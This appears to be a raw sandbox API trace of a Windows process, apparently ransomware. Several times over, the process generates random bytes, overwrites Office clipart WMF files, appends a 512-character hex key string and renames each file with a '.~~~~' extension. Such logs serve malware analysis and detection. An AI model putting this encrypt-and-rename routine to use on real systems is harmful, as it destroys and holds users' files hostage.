	[0110.917] GetLastError () returned 0x0
	[0111.002] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe038, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.014] WriteFile (in: hFile=0x144, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x1fc8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x1fc8, lpOverlapped=0x0) returned 1
	[0111.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0111.025] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.025] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.025] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.025] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.026] CloseHandle (hObject=0x144) returned 1
	[0111.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.026] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf.~~~~")) returned 1
	[0111.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.027] GetLastError () returned 0x0
	[0111.027] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.029] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.029] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.029] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23101940105) returned 1
	[0111.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabc95310, dwHighDateTime=0x1d60e1e)) 
	[0111.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f3e0
	[0111.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f3e0 | out: hHeap=0x300000) returned 1
	[0111.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282dc78
	[0111.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.030] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.030] GetLastError () returned 0x0
	[0111.031] GetLastError () returned 0x0
	[0111.031] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.031] GetLastError () returned 0x0
	[0111.031] GetLastError () returned 0x0
	[0111.034] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffcde8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.034] WriteFile (in: hFile=0x144, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x3218, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x3218, lpOverlapped=0x0) returned 1
	[0111.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0111.035] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.035] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.035] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.035] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.036] CloseHandle (hObject=0x144) returned 1
	[0111.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.036] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.~~~~")) returned 1
	[0111.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.037] GetLastError () returned 0x0
	[0111.037] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.039] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.039] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.039] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23102951626) returned 1
	[0111.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabcbb470, dwHighDateTime=0x1d60e1e)) 
	[0111.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f418
	[0111.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f418 | out: hHeap=0x300000) returned 1
	[0111.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e1d0
	[0111.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.040] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.041] GetLastError () returned 0x0
	[0111.041] GetLastError () returned 0x0
	[0111.041] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.041] GetLastError () returned 0x0
	[0111.041] GetLastError () returned 0x0
	[0111.044] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffaa4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.044] WriteFile (in: hFile=0x144, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x55c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x55c, lpOverlapped=0x0) returned 1
	[0111.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0111.045] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.045] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.045] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.045] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.045] CloseHandle (hObject=0x144) returned 1
	[0111.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.046] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.~~~~")) returned 1
	[0111.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.047] GetLastError () returned 0x0
	[0111.047] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.048] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.048] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.049] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23103871146) returned 1
	[0111.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabcbb470, dwHighDateTime=0x1d60e1e)) 
	[0111.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f450
	[0111.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f450 | out: hHeap=0x300000) returned 1
	[0111.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e268
	[0111.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.050] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.050] GetLastError () returned 0x0
	[0111.050] GetLastError () returned 0x0
	[0111.050] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.050] GetLastError () returned 0x0
	[0111.051] GetLastError () returned 0x0
	[0111.053] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff774, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.054] WriteFile (in: hFile=0x144, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x88c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x88c, lpOverlapped=0x0) returned 1
	[0111.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0111.055] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.055] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.055] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.055] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.055] CloseHandle (hObject=0x144) returned 1
	[0111.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.055] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.~~~~")) returned 1
	[0111.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.056] GetLastError () returned 0x0
	[0111.057] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.058] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.058] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.059] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23104871144) returned 1
	[0111.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabce15d0, dwHighDateTime=0x1d60e1e)) 
	[0111.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f488
	[0111.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f488 | out: hHeap=0x300000) returned 1
	[0111.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e300
	[0111.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.059] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.060] GetLastError () returned 0x0
	[0111.060] GetLastError () returned 0x0
	[0111.060] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0111.060] GetLastError () returned 0x0
	[0111.060] GetLastError () returned 0x0
	[0111.072] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff5cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.073] WriteFile (in: hFile=0x144, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0xa34, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0xa34, lpOverlapped=0x0) returned 1
	[0111.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0111.077] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.077] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.077] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.077] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.077] CloseHandle (hObject=0x144) returned 1
	[0111.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c65b8
	[0111.082] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.~~~~")) returned 1
	[0111.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c65b8 | out: hHeap=0x300000) returned 1
	[0111.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.084] GetLastError () returned 0x0
	[0111.084] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0111.085] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.085] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.086] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23107588983) returned 1
	[0111.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xabd2d890, dwHighDateTime=0x1d60e1e)) 
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f4f8
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f4f8 | out: hHeap=0x300000) returned 1
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c65b8
	[0111.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282e398
	[0111.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c65b8 | out: hHeap=0x300000) returned 1
	[0111.087] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0111.087] GetLastError () returned 0x0
